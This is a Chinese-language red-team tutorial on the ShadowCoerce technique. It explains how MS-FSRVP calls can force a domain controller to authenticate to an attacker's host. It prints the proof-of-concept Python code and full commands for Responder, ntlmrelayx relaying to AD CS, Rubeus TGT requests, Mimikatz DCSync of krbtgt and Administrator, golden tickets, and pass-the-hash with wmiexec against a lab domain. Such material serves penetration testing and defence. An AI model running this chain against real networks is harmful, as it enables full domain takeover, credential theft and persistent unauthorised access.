强制域控制器计算机帐户向受威胁者控制的主机进行身份验证可能会导致域受损。涉及强制身份验证的最值得注意的技术是使用加密文件系统远程协议 ( MS-EFSR )的PetitPotam攻击。然而,这不是唯一可以用于域升级的协议。意识到可能被滥用的替代协议可能会给红队运营商带来优势,因为蓝队可能没有实施策略来防止各种协议的域升级。
根据 Microsoft 文档,文件服务器远程 VSS 协议 ( MS-FSRVP ) 用于在远程计算机上创建文件共享的卷影副本、执行应用程序备份以及恢复 SMB2 文件共享上的数据。为了让域控制器执行这些操作,需要从服务器角色安装文件服务器 VSS 代理服务。但是,此协议公开了两种可用于域升级的方法,因为它们都依赖于远程 UNC 路径。这些方法是:
- IsPath 支持
- IsPathShadowCopyed
因此,可以收集域控制器计算机帐户的 NTLMv2 哈希并将其转发给证书颁发机构,以便注册 Base64 证书,该证书可用于通过 Kerberos 在域控制器上进行身份验证。下图说明了利用 VSS 代理服务进行域升级 (ShadowCoerce) 的技术步骤。
为了能够将此协议用于攻击性操作,域控制器应安装角色“文件服务器 VSS 代理服务”。
在实际实施攻击之前,收集机器帐户控制器的 NTLMv2 哈希可用作服务正在运行且域升级可行的验证。需要在主机上运行 SMB 侦听器才能捕获哈希。
代码语言:javascript复制sudo responder -I eth0 -e 10.0.0.3 -b -A -v
Charlie Bromberg发布了一个名为ShadowCoerce的概念验证代码,以演示IsPathShadowCopied和IsPathSupported方法如何被滥用于攻击性操作。代码的执行将强制域控制器的机器帐户向攻击者控制的系统请求“ NETLOGON ”共享。这项工作基于Lionel Gilles 的一项发现,该发现在巴黎的一次当地聚会上公开披露。
1234567891011121314151617181920212223242526 | def IsPathShadowCopied(self, dce, listener): logging.info("Sending IsPathShadowCopied!") try: request = IsPathShadowCopied() # only NETLOGON and SYSVOL were detected working here # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED) request['ShareName'] = '\\%s\NETLOGONx00' % listener # request.dump() resp = dce.request(request) except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() logging.info("Attack may of may not have worked, check your listener...") def IsPathSupported(self, dce, listener): logging.info("Sending IsPathSupported!") try: request = IsPathSupported() # only NETLOGON and SYSVOL were detected working here # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED) request['ShareName'] = '\\%s\NETLOGONx00' % listener resp = dce.request(request) except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() logging.info("Attack may of may not have worked, check your listener...") |
---|
该工具需要标准用户帐户的有效域凭据、侦听器 IP 和域控制器的 IP。需要注意的是,在第一次执行期间,可能无法连接到管道。但是,再次执行相同的命令将执行连接。
代码语言:javascript复制python3 shadowcoerce.py -d "purple.lab" -u "pentestlab" -p "Password1234" 10.0.0.3 10.0.0.1
由于 SMB 侦听器正在主机上运行,因此域控制器计算机帐户的 NTLMv2 哈希将由 Responder 捕获。
如果域上有证书颁发机构,则类似于 PetitPotam 技术,域控制器计算机帐户的哈希可以通过 HTTP 中继到 CA 服务器。以证书颁发机构服务器为目标的目的是将身份验证移向证书,与 Net-NTLMv2 哈希相比,它将更有用。使用该身份验证,机器帐户将注册一个证书,该证书可与 Rubeus 等工具一起使用以执行身份验证并请求票证授予票证 (TGT)。
代码语言:javascript复制python3 ntlmrelayx.py -t http://ca/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
成功认证后,证书将以 Base64 格式颁发。
Rubeus是一个 C# 项目,可以从内存中执行并与 Kerberos 协议交互,以在红队交战期间执行进攻性操作。使用之前生成的证书,可以从域控制器计算机帐户的密钥分发中心 (KDC) 请求票证授予票证。
代码语言:javascript复制Rubeus.exe asktgt /user:DC$ /certificate:<base64-certificate> /ptt
开关“ /ptt ”会将票证缓存到当前会话中。持有域控制器计算机帐户的票证相当于域管理员权限,并且可以执行提升的操作,例如转储域用户的密码哈希、创建黄金票证以保持持久性或使用域管理员的哈希建立一个与域控制器的会话。
该DCSync技术已经在Mimikatz已经实现,可用于检索的NTLM哈希的krbtgt账户。使用该散列可以创建黄金票据以维持域的最高权限,直到满足评估的所有目标。
代码语言:javascript复制mimikatz # lsadump::dcsync /user:krbtgt
或者,使用相同的技术,可以检索高特权帐户(例如域管理员)的哈希值,以便与域控制器和域上的其他高价值目标建立直接连接。
代码语言:javascript复制lsadump::dcsync /domain:purple.lab /user:Administrator
Impacket 套件的“ wmiexec ”可用于通过 WMI 协议传递散列并建立与域控制器的直接连接。
代码语言:javascript复制python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1